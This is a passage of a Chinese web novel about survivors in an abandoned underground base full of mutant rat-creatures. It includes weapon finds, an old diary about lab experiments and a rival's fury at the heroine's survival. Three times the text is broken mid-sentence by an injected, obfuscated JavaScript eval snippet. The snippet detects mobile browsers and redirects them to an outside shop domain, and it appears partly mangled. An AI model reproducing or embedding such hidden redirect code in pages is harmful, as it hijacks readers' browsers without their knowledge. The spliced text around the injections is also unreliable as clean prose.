“进罐笼!”黎歌喝道。两人不敢再有任何犹豫,冲进了罐笼中。铁丝网细密地搭建出简陋地电梯,方京华跑进去后,第一时间找到了提示文字,准备按下关门键。 “你在干什么!”常乐眼尖,扑过去就想阻止她。 方京华赶紧一把揽住她,剧烈喘气的同时,表情里是说不出的尴尬和慌乱:“我不是要把她们关在外面,我真的没有这么想,真的!我就是觉得后面那些鼠虫还活着,火太小了可能烧不死它们,马上又会追上来。所以必须要把门关上。不是不是,我的意思是她们应该赶得上……” “等她们进来!在那之前,你不可以碰任何东西!”常乐不肯松开劲,她对方京华已经没有任何信任可言。 话音刚落,黎歌背着霍青山出现在她们的视线,掐着时间撞进了罐笼:“关门!” 常乐这才松开控制方京华的手。长久失修的罐笼发出了骇人的咯吱声,但最终,它安稳地在鼠虫追上来之前合上了。 罐笼开始缓慢地往下降。 狭小的空间内,四个人剧烈的呼吸声此起彼伏得交织着。霍青山爬起来,扶着罐笼的壁站稳。从疾驰的猴车跳下来,自己身上却没有任何伤痛。 “一直都是我在救人,这是我第一次被救。”霍青山说完这话,“谢谢”两个字突然变得无比沉重,她恨恨地望向自己残缺的腿,视线上移,顺着脏污的地面,看见黎歌毫无顾忌地躺着。 她的右臂被自己砸出了一大片的青紫色,霍青山仅凭肉眼数出了三截骨头——里面的骨头又断了! 眼眶突然开始发烫。 黎歌正用另一只手抹了把地上厚厚的灰,举在半空撵着。她的手上沾染了黑色的粘稠物,像是油,她刚才在哨岗内一定是往校服里倒了什么,所以那团火才可以烧得这么旺。 每一个计划严丝合缝,而这些,竟然都是她在短时间内想到的。 操纵时间,好厉害的祝福。 “下课了。”黎歌开口,然后视线扫过了她们,她好像在数数——直觉这样告诉霍青山。 罐笼里除她以外就只有三个人,但黎歌数了两遍。 确认完三个人都安然无恙后,一股笑意从她的胸腔开始振动,慢慢地上涨,继而化成了毫不隐藏的喜悦,在这静谧的罐笼中放肆地大笑:“下课了!” 距离离开教室到现在,时间正好是45分钟。体育课下课了。 下课了,但她们所有人都活着。说明云霄南说谎了!她没有害死她们! 黎歌闭上眼睛,眼睑下是化妆师死不瞑目的倒影。 二度睁眼,她的心情前所未有得轻松。 还好,我没有害死她们。 13. 第一基地13 【智力天赋:虫巢。】 【地图碎片——人虫教室。你已检索完该地图,可开启虫巢。】 【你已开启人虫教室。】 云霄南抱着手,倚着门旁边的白墙闭目养神。 他正把玩着一根简易的狼牙棒——由拆下来的课桌腿和四枚铁钉组成。 教室内的桌椅均数遭了殃,被拆了个鸡零狗碎,拼凑出数把这样的狼牙棒,男人们手里人均分了一把。 空气静谧,所有人都盯着云霄南的动作。 瘦高个忍不住出声提醒:“南哥,门开了。” “嗯,”云霄南甩了甩他的狼牙棒,指向漆黑的门内,“不敢?” “实话实说南哥,我们真有点害怕,您……”瘦高个没敢往下说。 云霄南睁开了眼睛,在众人期待的眼神里,转身站在了教室的门口。捏着狼牙棒的那只手非常轻微地抠了抠,没有人知道在这短短的时间里,他在想什么。 最终他还是迈开了脚步,走入黑暗。 其他人紧随其后。 落在最后面的是季风,他回头看了一眼教室内最后剩下的两个人。桌椅都被拆了,他们只能站着,与季风隔着四具尸体对视。 老师的尸体已经开始长蓝色的蘑菇,并往外散发尸臭。 季风艰难地移开视线,问:“跟着他也没什么不好的,这个教室看样子没有其他出口。你们的食物吃不了多久,等这些尸体腐烂了,可能会传染疫病,就算是死也会死得很痛苦。一起走吧。” 一个是疯子。疯子刚疯没多久,低着头来来回回数他的土豆。 一个是老人。老人头发银白,身体似乎也不太健康了。她找了一把尚且还能坐的椅子,小心翼翼地坐下,辛苦得喘了几口气。 她朝季风摆了摆手,慈祥地笑了:“我走不动啦,你去吧,去吧。” 季风神情复杂地点了点头。 正此时,门里传来了失控的吼声:“尸体呢!她的尸体呢!” “这声音……该不会是南哥?!”季风吃惊道,握紧他手里的武器撞进了黑暗中。 【你已开启体育馆。】 “卧槽,卧槽卧槽卧槽!” “这些是什么鬼东西!” 瘦高个几人陷入了极度的恐慌之中!他们的视线中,血迹斑驳的体育馆内,一只将近2米高的巨型鼹鼠倚靠在铁架旁边的墙上,爪子扎着一颗头颅在啃咬——头皮上还有毛发,轻易就能分辨出是谁。 那个不男不女的娘娘腔……他真的死了。 而就在不远处,十几只无毛老鼠在一具庞大的动物尸体里来回穿梭、兴奋地啃噬着。老鼠,不,那可能根本不是老鼠!它们的肚子敞开着,像被开膛破肚了一般,仔细看,能看到里面根本没有内脏。 瘦高个的手生理性得吓得发抖:“我他妈好想吐,呕……” 令他们更加恐惧的是云霄南的状态。 红色的怒气淹没了灰眸,他站在几人的前面,来回焦急踱步,视线在场内仅有的一大一小两具尸体梭巡,跟教室内的他判若两人。 像得了失心疯一样,云霄南额头青筋暴起,止不住地叫嚷:“怎么可能,怎么可能,她应该要死的!为什么这里没有她的尸体!” “她们死了,她们就是死了,我没有看错!” “不管是死在角落,还是死在中间,她们被咬得稀巴烂,那只鼠虫饿疯了,无论哪一次都没有放过她们!为什么这次只死了一个,为什么,就因为这次有她的加入?” “她的祝福只是通感而已,她不可能逃得了!” “她骗了我?!” “我要怎么样才能杀了她,我必须杀了她,否则她就会来杀我。她躲在哪里,我得把她找出来,得把她找出来!” “她在哪里?!” 云霄南慌乱地用眼神翻找体育馆内每一寸地、每一道缝隙,墙面,接着望向天花板。 一双天神般的眼睛在天穹与他四目相对。 强势而随心所欲地审视着他的奔溃。 可惜了,他并察觉不到。 黎歌眉头轻蹙。 她有一个大胆的设想。 云霄南不止一次经历了现在的场景,但在过去的时间线,霍青山等四个人死在了体育馆内。而这一次,云霄南撺掇瘦高个将她投出了教室,企图让她也死在这里。云霄南仅仅知道她有通感能力,并不知道她真实的祝福能力,所以才推断她必死。 而正因为他的选择发生了改变,霍青山等人的命运也随之发生了改变,被她歪打正着救了下来。 黎歌紧紧地闭了闭眼睛。 这个设想太抽象了,对于习惯了时间以线性的方式单箭头向前推进的三维生物,真的很难适应! 云霄南为什么会知道她有通感能力? 她确实主动提起过一次,就在体育馆内,而当时在场的人包括了霍青山、常乐和方京华。难道这些人当中有人是他的媒介? 是谁呢? 他的能力真的是操纵时间吗? 一个能够预见未来的人,难道预见不到自己的失败吗? 这太奇怪了…… 必须要试探出他的具体祝福能力才行。 “轰隆——”身下传来振动,罐笼似乎降落到底了。 黎歌将意识从虫巢里退出来。 罐笼内的气氛少了些许凝重,随着她睁开眼睛,常乐关切的声音立刻又在耳边响了起来:“感觉怎么样?痛吗?” 手臂正被摆弄着,霍青山蹲在她旁边,在帮她检查受伤的情况。 察觉到了她的注视后,霍青山一边隔着皮肉捏着她的骨头,深邃的眉眼紧锁着她,表情十分凝重:“恢复速度比之前慢了很多。” 常乐吃惊道:“我怎么看淤青都退了,霍警官,你别吓唬她。” 霍青山似乎有些生气了:“她自己清楚,我吓不了她。再这样没轻没重下去,铁打的身体也要被她折腾散了。” “所以,我们要出去吗?”一道声音弱弱地插进来,方京华已经站在了罐笼控制器的旁边。 常乐:“……” 常乐没好气道:“你急什么,不怕这道门打开以后,又会出现新的鼠虫吗?” “不会。” 黎歌接过话,她站起身来,朝三人摊开她的手掌。上面是厚厚一层灰,刚在罐笼的地面蹭到的:“这里很久没有来过人了,没有新的‘食物’,鼠虫不会在附近聚集。” 她回忆了下先前在操作台看到的3D图:“出去以后,左边隧道往前不到20米远就有第一个补给站。” 闻言,狭小的空间内响起了“咕噜噜”的叫声。 也分不清是谁的肚子叫,但每个人脸上除了疲惫以外,都浮现出一些肉眼能辨清的喜悦。 罐笼的门开了。 又是隧道。和上面的隧道不同之处在于,这里没有猴车,除此以外构造倒是完全一样。黑色的金属墙壁支撑起半径约为3米的空间,供电设施完善,单纯从建筑的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16616114|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角度看待,这里本该是理想的避世生活区。在鼠虫入侵之前,第一基地的人类或许也曾这样认为。 以罐笼的运行速度,估算这里距离上一层隧道约莫有15米,气温又下降了好几度。黎歌揽了下她光秃秃的胳膊。 但空气却并没有变得更沉闷或者混浊,她猜测基地内应当有些特殊装置,在保障空气的流通。 遍布的蛛网证明黎歌的猜测是对的——这里没有鼠虫的踪迹。 几人顺利地进入左边隧道,一道门出现在隧道的右侧。霍青山依旧扶着墙走在队伍的最前面,空出手拧开了门把手,摸索着开了灯。 好像是一间会议室,好乱,像被人洗劫过般。椅子横七竖八倒在地上,伤痕累累的办公桌落满了灰烬。空的文件夹随意丢在桌上、地上,文件柜也被洗劫一空,剩几张团成团的废纸。他们离开得很匆忙,但又足够谨慎,至少把肉眼能见的物资都带走了。 “呕……臭死了!”常乐捏着鼻子,生理性厌恶道,“都到地底下生活了,怎么还有人抽烟。” 臭味是从桌上的“烟火缸”传来的,几颗烟头被氧化成了黑色,气味扩散到了整个会议室。说是烟灰缸,其实就是些空罐头。 这里给人的感觉总体十分得矛盾,高水准的工业水平下,物资却似乎很匮乏。 【使用鼠虫技能【寻踪】】 【使用失败】 黎歌:“……” 差点忘了饥饿值的事。 几人各自在房间内搜索,每个柜子挨个打开,翻找着食物。 里面还有两扇金属门。黎歌选择了一个,尝试着拧了门把手——很幸运,门没有上锁。 灯自动亮了起来,白墙上一行行红色字突然冒了出来。 【九章:鼠虫已被击杀,结算总学分310分。存活4人,依据第一基地人虫训练手册,将学分进行平均分配。】 【九章:1617号、002号、615号、566号各获得77.5分,学分为138分,138分,138分,138分。】 是方才在上一层击杀鼠虫的结算。 很好,距离1000分又进了一步。 房间内琳琅满目竟然都是运动器械,拉力器、杠铃,还有跑步机。磨损得痕迹很重,直观能感受到它被使用得有多频繁。看来这里是个体能训练室。 紧挨着它的则是间狭小的玻璃房,隔着透明玻璃,里面的剪刀、镊子、注射器等等一览无余,还有些散落的药物。 最令黎歌在意的是角落矗立着的大家伙。一个大约2米高的直立舱体,上面分布着复杂的红绿色按钮,不知道做什么用途。黎歌凑上前,玻璃罩内能窥见内部,内饰的材质看起来较为松软,长度恰好可以容下一个人。 底部藏着个旧箱子。黎歌眼前一亮,伸手一一尝试那些按钮,试了七八个,舱体突然传来了泄气声。 黎歌将舱门掀开,酒香味扑面而来。她俯身进去,先敲了敲箱子,倒是没有什么奇怪的东西爬出来,于是顺势把盖子揭开。 竟是半箱红酒! 一共有5瓶,黑色的瓶身没有任何标签装饰,隔着橡木塞,葡萄发酵的香气氤氲,不知道多少年过去,仍旧吞吐着当初从泥土中汲取的能量。 也是离得近了,黎歌这才发现,紧挨着舱体的位置,还堆一团黑色器械。 啊,这比酒可有意思多了! “小孩,过来下。”霍青山的声音突然从外面传了过来,声调有些藏不住的喜悦。 14. 第一基地14 黎歌比了比铁疙瘩的大小,只能先行放弃。 她弯下腰,把那半箱红酒从舱体中抱了出来。5瓶酒重量本来不轻,不过对于现在的黎歌而言,它们轻得就好像抱着一块豆腐似的。 黎歌带着酒离开了训练房,搁置在会议桌上,接着进入霍青山所在的房间。 她明白为什么霍青山听起来这么高兴了。 这是射击训练屋。霍青山站在房间中央,脚下木箱的锁已经被她暴力撬开,此时,霍青山的手里拎着一把通体全黑的物件,虽然它和黎歌熟悉的样子差的有点远,但霍青山拿的姿势太标准了,以至于黎歌一眼就知道那是什么。 一把枪。 “充能枪,还有这个小零件——消音器,玩了半天的冷兵器,终于搞到热的了。我能试试吗?”霍青山的手指在扳机附近摩挲着,都快把它擦亮了。 当然。以防枪声吸引到鼠虫,黎歌正想出去把门关上,常乐已经先她一步拎起烟灰缸丢出门外,立刻闪身回来反锁门,跟在她身边兴奋地进了训练屋。 霍青山单手拎着枪,扶着墙跳进入了训练场地,对着远处的假人摆起架势,深呼吸。 金色的光从枪口悄无声息地射出,连开两枪直接轰烂了假人的头颅! 黎歌蹲下来,拿起箱子里备用的“子弹”——三根材质类似玻璃的容器里,装着金色的液体。再抬头时,发现霍青山已经把枪拆了,在召唤她和常乐过去。 “连发式傻瓜枪,只需要把这里的保险栓打开,瞄准,扣动扳机。”她那架势,竟是在教她们怎么用枪,“后座力跟TAC-50差不多……你们可以理解为中等力度,初学者得花点时间去适应。这枪更里面的构造我不敢拆,不知道它的子弹到底是什么材质,射击距离不好判断,射击精度很优越,得花点时间琢磨怎么用好它。我看那边有一台模拟训练机,我们可以先玩玩看。” 常乐听呆了,花痴一样看着霍青山的眉骨:“霍警官,你以前是狙击手吗?” “狙击手需要经过长期训练,打的都是远距离靶场,我这种顶多就是射击水平及格线而已。”霍青山笑了笑。 “拜托,一枪爆头诶,才到及格线?开什么玩笑,你就是我的卡密!但你让我打……说实话霍警官,我在公园十枪可以打偏九枪,我真能用好它吗?”常乐眼神不住地瞟那把枪,却没敢上前摸。对于普通人来说,要短时间内驾驭一把杀器,心理层面上就是极大的挑战。 “柳德米拉在成为狙击女王之前,主修的是历史学。没有谁生来就是神枪手,在加入苏联步兵队之前,她就只有射击俱乐部打打猎的经验,最初的战绩,也是靠着旧式的莫辛-纳甘步枪拿下的。决定胜利的往往不是经验和武器,而是必胜的信念。” 霍青山说正事时总是那么认真。常乐听得入迷,脱口就道:“我们有你这个神枪手不就够……了。” 声音戛然而止,她的视线落在了霍青山残缺的腿上。霍青山垂眸看了眼,顺着她的话用陈述的口吻坦然道:“我站不稳,它最好的主人可能并不是我。” 话题没有得到继续。 四人对补给站进行了地毯式的搜索,大约两个小时以后,在会议桌碰面。 桌上的灰已经被常乐清理干净了,桌面锃亮到可以当镜子。 搜出的物资也被她分门别类清晰地排成了行。 连发式充能枪3把,金色弹药3管。弹药是液体的,仔细观察,里面的分子似乎是活的。按照试枪的结论推测,1管金色弹药约支持100次射击。 故障手枪1把,无扳机,使用方法未知。 刃长10cm的的普通钢刀,1把。 工铲1把。 全新的黑色工装2套,材质特殊,能抵抗钢刀的一般划伤。 治疗绷带10卷,边缘轻微污染,将就着使用。 止血栓剂5支,活性未知。 肾上腺激素1支,活性未知。 装着未知液体的针剂共计5支,方京华能识别标签上的基因两个字,其他文字未知。 第一基地的设计稿碎片一把,约莫有几十张。在设计稿附近一并搜出的还有钢笔2支,保存良好的空铁罐头1个,霉化的香烟1盒。 还有黎歌发现的红酒半箱,另外,废弃的文件柜中还被搜出了军用罐头一箱。 罐头未开封,旧成这样也没必要去翻找生产日期了。 饥饿感迅速地膨胀,常乐迫不及待就取了一个罐头出来,稍稍用力,拉环就脆生生地断了。她懊恼地拍了下桌子,又拿起了钢刀试图撬开。 一股臭气从里面钻出来。 常乐放下罐头,带头干呕。 哪还能吃啊,内里黑漆漆的早就成了腐化物。 “这是食物吗?这是生化武器吧!”几个人的脸上各有失望。霍青山也加入了开罐的队伍,和常乐一起,不信邪地把整箱罐头都打开后。 本来只是碎了颗臭鸡蛋,现在臭得就像掉进了化粪池。 两人联手把罐头丢了出去! 正欲回走,发现黎歌一只手扶在门上,竟是要关门。 霍青山眼疾手快挡住了:“你!让我们进去!” 黎歌感觉自己快窒息了:“你们好臭。” “有难同当!”霍青山咬牙道,硬挤出一道缝隙,跟常乐两个人捂着嘴巴鼻子迅速撤离了生化现场,关上门把味道阻断。 “红酒呢?”方京华舔了舔她干燥的嘴唇,喉咙上下动了动,显然渴到了极致,“红酒的保质期应该长一点,我真的好渴……” 说话时她已经伸出了手,试图去碰瓶子。黎歌出声阻止:“不行,红酒的含量有酒精,代谢酒精需要消耗水分和一部分能量,不仅无法止渴,反而会加速脱水和疲劳。这跟自杀没有分别。” 常乐喃喃自语:“死去的高中知识又袭击了我。” 方京华悻悻地把手收了回去。 第一基地存在36年以上,这里的食物必然已经超过了保质期,失望是意料之中的事。 “大家别那么沮丧嘛!我们拿到真正的武器了诶,有枪,有刀,再也不用怕外面那些鼠虫了。” 常乐举起手臂,弯着眼睛,由心往外散发着欢喜:“300发弹药,1发突突1只,3000分轻轻松松到手了。阿尔法鼠遛弯呢,一看,艾玛,这什么,鼠鼠我当时就吓坏了!登登登登,全剧终!我们攒够分,回去好吃好喝,胖个10斤先!” 情绪的感染力总能盖过理智。 霍青山接过话:“对,武器才是硬道理,而且这里的补给站不止一个,说不定能搜到吃的。” “是的,这里附近就有一个种植区。”黎歌开口,众人的眼神瞬间变得亮晶晶,顺着话,她继续描述,“我们在罐笼的左手边,右手边大约300米处有个种植区标识。不过,你们期待值不用太高,不能确定的是种植 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16616115|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 区种的是什么食物、能不能吃,也有一定概率里面会是空的。没有人料理的庄稼总是容易荒废。” “所以你一开始就算好了,要去种植区?”霍青山问。 “是的,那里可能会盘踞一些鼠虫,所以最好的顺序是先装备自己。” 不可思议,霍青山震惊地问:“你是什么时候定的计划?” 黎歌答:“刚看到3D地图的时候。在猴车行进的路上还有另一个种植区,但它附近没有补给站,所以我选择了这里下车。” “也就是说,在我们还没有搞清楚状况的时候,你看懂了地图、规划好了路线、甚至精准地预测到了这里很安全?” 霍青山双手捂着脸,视线仿佛像挖掘到了什么宝藏一样锁着黎歌:“操纵时间,好可怕的能力。” 黎歌没有反驳,微微笑道:“是啊。” 突然,眼前一阵黑,身上一重,常乐软乎乎挂了上来,搂着她的脖子乐得咯咯直笑:“你就是个天才!小黎歌,老实告诉姐姐你在你们班是不是学霸来着?” 黎歌热得不行了,正想推开,另一边霍青山也追问了上来:“我记得你提起过,你还没有想好高考志愿,有没有兴趣报警校?当警察很好玩的。” 黎歌:“……” 这不还是拿她当小孩! 没招了,她像撕胶带一样把常乐从她身上撕下来。常乐,一款毫无边界感的女子,熟悉以后远比之前放肆,被撕下来后还扁了扁嘴角撒娇。 她只能转移她们的注意力:“还没到松懈的时候,我们对第一基地的认识不过冰山一角。我们的目标是阿尔法鼠没错,但是,在我们之前,这里存在过其他穿越者,也存在许许多多生活在基地里的人类,为什么他们没能杀掉阿尔法鼠?一定还有我们没有掌握的信息。” 她将别在裤腰带上的手册扯出来,工工整整地放在桌上。其他人见状也收起了玩闹的笑容,往她身边聚拢过来。 “我在设计稿里发现一些信息。”方京华选择在这个时候主动开口。 见黎歌关注过来,她往前靠了一步,比着设计稿和上面的文字备注,努力“翻译”道:“先说面积吧。这份设计稿仅仅展示了1/4的基地,横向面积约3000平方公里,同时纵深方向也分布有不同的功能区,最深的深度超过了3500米。” “地下城版8D魔幻之城?”常乐惊叹。 短暂的打断似乎令方京华不悦,她停顿了下才继续往下说:“关于深度的概念……世界上最深的矿区是一处位于南非约翰内斯堡的金矿,名叫姆波尼格金矿,最深的作业区在4000米以上。那是作业区,而不是生活区。” “在超过20米的深度后,地下的温度取决于和地心的远近,像4000米这种深度周遭的温度已经超过了60℃,必须要有一套强大的制冷系统从地表向下输送冷气,矿工才能正常作业,而且作业时间通常会限制在6个小时以内,工作时间结束必须返回地面。” “可设计稿上,这个深度居然存在居住区……” “这是不是意味着,原住民不仅仅掌握发达的工程技术,而且可能个顶个都是怪物……才能够在这么热的环境下生活。” 方京华总结到这里,脸色差得可怕。 “这个补给室也有些热,不知道在地下多深的地方。”霍青山边思考边说道。 热吗?黎歌想,为什么她觉得越来越冷了…… 15. 第一基地15 方京华的“翻译”带来了重要信息: 这座巨大的地下社会有一套与21世纪截然不同的能源系统,名为地流,从一些简要描述可得知它比煤更安全、比电力更节约、比核能更简便的特性,使其能建立起庞大的地下帝国。 也正是地流在支撑着这座已然荒废的地下基地的电力和工程设备正常运行。 “当时人类坚信他们能够适应穴居生活,建立人类的地下帝国。” “为了继续扩大帝国的版图,人类建立了实验室,投入了大量老鼠作为实验体,用以测试地下生活的安全性。” 方京华指着那个危险提示的标志,深吸一口气,翻译道:“‘我们创造出了最可怕的地下敌人’。” 一阵无语的沉默在会议室蔓延。 黎歌倒是想过鼠虫的来源,比如基因突变,或者融合了某些巨大的生物的基因,没想到,竟然是实验室的产物。 常乐:“所以这一群老鼠喝了药水进化了?怎么不算艺术源于生活,我说那些科幻片是怎么写出来的,看来现实可能更加离谱。” 实验内容一共分为了5个部分,对应监测适应性、群体习性、基因操控、进化链、传染性。 霍青山几人围着设计稿在细看实验的内容,开始分析敌鼠。 黎歌打开了手册,翻开了其中几页。 有了目的后,她迅速把有关的信息筛选了出来。 1992年11月3日星期一闷 又有人虫偷盗了原住民的食物,被兵团押到我们的生活区门□□活打死了。他的肚子是瘪的,饿扁的,军靴踹上去的时候我就听到了脊椎断裂的声音。 月神没有站出来。 他说过,我们必须要遵守和原住民的和平协议,他不会袒护任何一个犯罪者。说真的,这里连法律都没有,他却还能定义谁是犯罪者,他真的没点精神疾病吗?被打死的那个人虫还是他的爸爸! 我偶尔会想,祝福者真的是被祝福的吗?他们有那么强大的能力,为什么不反抗?这座基地由人虫建造,这里的粮食由人虫种植,人虫却吃不饱穿不暖,眼睁睁看着祝福者谄媚地把食物献给兵团。 反正我挺讨厌祝福者的。但除了我以外的人都很崇拜月神,这位人虫中最强的祝福者。月神说,兵团即将建造一个实验室,用老鼠当试验品,扩大现有的居住地后,就给人虫分配居住地和种植区。 只要再等等,很快就有食物和家了。他说。 他总让我们等等。 我是能等,他爸反正是等不了了。监工去了,挖穿这破基地! 1992年12月1日星期二闷 实验室成立不到一个月,月神带进实验室的人虫都失踪了,包括几名祝福者,不知道发生了什么! 所有祝福者都是登记在册的,任何行动需要向兵团汇报。兵团已经来大搜查四次了,杀鸡儆猴杀了好几个人虫。听说月神跟祝福者打起来了,是的,我以为我耳朵坏了,这个孬种不敢跟兵团叫嚣,跟自己人干起来了!他的祝福差点把南基地都震塌了! 他说,我们必须要遵守和平协议,这是规矩。规矩规矩,我怀疑规矩才是他爸。 1992年12月4日星期五闷 好像不对……失踪的人虫越来越多了,只有月神每天回来,但他的状态越来越差了。 兵团来抓人虫填充实验室了。没有人虫敢去。我因为只会挖地逃过了征招。选对专业比什么都重要! 1992年12月7日星期一闷 我听到了一个很诡异的传闻。 失踪的那些祝福者,好像在南部基地出现了,他们屠杀了6区过半的原住民……月神被兵团召去指挥部问罪了…… 我不信,原住民绝大多数都是平民啊,祝福者为什么要杀平民? 1992年12月9日星期三闷 月神也失踪了!!! 干!!! 1992年12月31日星期四闷 好多老鼠。 好多好多老鼠。 好多好多好多好多好多好多好多老鼠从基地不同的位置逃窜出来,它们吃人!!! 鼠群里真的有祝福者,他们疯了,他们见到生物就杀,无论是原住民还是人虫!很多人虫描述说他们变得很奇怪,好像长出了黑色的尾巴,腹部的衣服是空的。我还是不信,我觉得这一切太诡异了。老天,先前我一直在期待他们反抗,真正到了这一天,我他妈居然感觉到了害怕。我的同胞变得好陌生,像野兽一样…… 我在两具祝福者尸体的脖子上发现了锈斑,像是被腐蚀了一样。我笃定这是鼠虫带来的传染病,就好像丧尸病毒一样,它会操控人虫对人和人虫进行无差别攻击。 我把这个发现告诉给了其他人虫,但是没有人虫相信我的话,因为我他妈就是个普普通通干工地的! 1993年1月22日星期五闷 原住民搬回地面了,一夜之间,所有人虫都被留了下来。粮食都被带走了,种植区被捣毁了。 这里不再是第一基地,它现在是坟墓了。好消息是,我终于不用再下工地了。 新年好,这将是我度过的最后一个新年。 …… 黎歌合上手册。 “也就是说,人虫曾经屠杀过原住民……”霍青山向来冷静的表情出现了裂缝,她烦躁地扶住了额头。 方京华举起她手里的地图,嘲讽地笑了笑:“人虫将工业文明带进这个世界,却没有得到原住民的回报。这个世界果然不需要善良,如果当时的祝福者早点反抗,或许我们的处境就不会像现在这么惨了。” “非要斗争吗?”霍青山停顿了下,在慎重地斟酌用词,语气也变得复杂起来,“所以老师才那么恨我们,一切都有因果。” “不斗争就会死!” “方京华,我认为我们应该要避免掉入非黑即白的暴力定论里。这些信息只是片面之词。不说别的,那个最强的祝福者月神后面再也没有出现过,他去了哪里,他到底在谋划什么,这个缺失的信息可能至关重要。” “霍警官,我们不是来竞选联合国大使的,我们现在是笼子里的猎物,是原住民玩弄的对象……” 两个人突然吵了起来。 常乐从黎歌手里抽走了手册,翻了翻,半晌后低低地说:“到最后也不知道日记的主人是谁。这里的资料被破坏得那么彻底,只有ta的日记被保留了下来,大概因为ta无足轻重吧。人们通常只会关注故事里的主角,绝大多数普通人不过就是时间洪流里的蜉蝣,出生和离去都不会得到关注。” 好重的油柑味……但黎歌没想要接话,她现在脑子也很乱。 太奇怪了。 最早知道穿越者的存在不是秘密的时候,她就觉得很奇怪,隐约有种矛盾感,就像针扎在身上一般膈应。 所以究竟是为什么,原住民现在仍旧在“接纳”他们? 因为他们很善良? 一点也看不出来。 还是老师说的那样,他们阻止不了人虫“源源不断地到来”?黎歌更加不能理解……人类史上骂名无数的灭绝事件,例如十六朝冉闵的杀胡令、卢旺达大屠杀等等,足以说明当人性的卑劣到一定程度后,他们总会有办法能断绝人虫的到来。 他们是在教室中醒来的,杀死睡梦中的人,对老师而言原来应该是跟捏死蚂蚁一样简单的事。 奇,了,个,大,怪。 体育馆内到处都是血肉被啃咬咀嚼的声音。 瘦高个等人握着棍子的手心全是汗,滑的根本抓不住。 密密麻麻的声音令他们生了退怯的意,几乎不约而同的,在恐惧的驱使之下,瘫软的腿开始往后退。回教室去,离开这里! “这里只有一具尸体,那四个女人难道还活着?”季风阻止不了牙齿在打颤,一边开口问。因为坐在第一排,曾经季风清晰地目睹了她们的绝望,没想到她们居然活下来了,太不可思议了。 “艹,她们怎么赢的?”瘦高个难以置信,“她们选了什么厉害武器吗?” 季风一双眼像扫描仪一样扫过教室的每道缝隙:“撮箕、黑板擦随便丢在地上,没有血迹,应该没起到作用。唯一的‘厉害武器’,可能就是那个扎在鼠虫脖子上的半截木棍。” 中介否定道:“怎么可能!那女的是个残疾人吧,那根棍就只是当拐杖使的而已。一个残疾人,腿还没我胳膊粗,她……” 季风笃定道:“可以肯定就是那半截棍子杀了鼠虫,那是出血量最大的部位……诶!你们看天花板上那是什么?!” 众人顺着他棍子的方向看过去。 一只手印扒拉在距离地面近4米高的天花板上,指甲抠抓的地方,石膏剥落下来,留下了清晰而新鲜印记。 瘦高个的嘴巴长大到能塞下一整棵榴莲,他问:“季老板,这里就你和南哥个子最高,你身高多少?” “188。” “你跳摸最高纪录是多少?” “没有测过,但一定低于3米,而这个天花板至少有4米高。上面还有脚印,这人很可能曾经爬上去过。” “牛顿同意了???” 所有人的脑子已经一坨浆糊了,空气中仿佛能听见脑子卡顿的声音,季风仔仔细细地回想那些脸:“这个人会是谁?” 此时此刻,瘦高个突然跺了下脚,脑门上大滴的汗因为这个动作摔落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624188|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来,他的嘴角扯出一个勉强的笑:“我懂了,那些鼠虫就是看上去可怕,实际上跟普通老鼠没什么区别。不然凭她们几个女人怎、怎么可能活得下来?!” “一个残疾人,一个肝癌晚期就差躺进棺材里,一个刚刚生完孩子,一个高中生,就凭她们几个女弱病残,能够从这群怪物嘴里活下来?我不信!” 身后一阵力猛然撞击过来! 瘦高个没有任何防备,脚下被绊住,直接正脸朝下狠狠地砸向地面! 他的牙齿撞击在水泥地上,“咔哧”一声响,阵痛通过牙床震动了头骨,他抱头躺在地上疼得呲牙咧嘴,吐出满口血水。 撞他的人闷头笔直往前冲去。季风被撞得晕头撞向,站定后定睛一看,居然是先前留在教室内那个刚刚疯掉的人! “哈哈哈哈哈哈胡萝卜须!”疯子撞向那只靠在墙上的鼠虫。 利爪瞬间刺穿了他的骨肉,像叉一块叉烧一样将他举了起来。 然后放进嘴里撕咬。 “回去回去回去回去!”瘦高个挣扎着跳起来,断裂在地上的牙齿也顾不上了,转身就想要冲回教室里,可仅差1秒,门在他眼前冷漠地合上了。 那群乌泱泱的鼠虫听到动静,窸窸窣窣朝这边涌了过来。 瘦高个只感觉眼前一阵黑又一阵红,有鼠虫顺着他的裤腿爬了上来,被他甩了下去,那种感觉可以用毛骨悚然来形容。有人在推搡他,他听到仓管还是中介在叫,他分不清,拎着狼牙棒对着周围一切能动的生物一顿进攻! 一片东西突然溅在他的脸颊上,他把它揭下来,软软的,白白的。 是半只人耳朵! “草,草草草草……”瘦高个精神都要疯了。 混乱中,季风的声音硬生生挤了进来:“墙上有字!” 【九章:结算学分100分。】 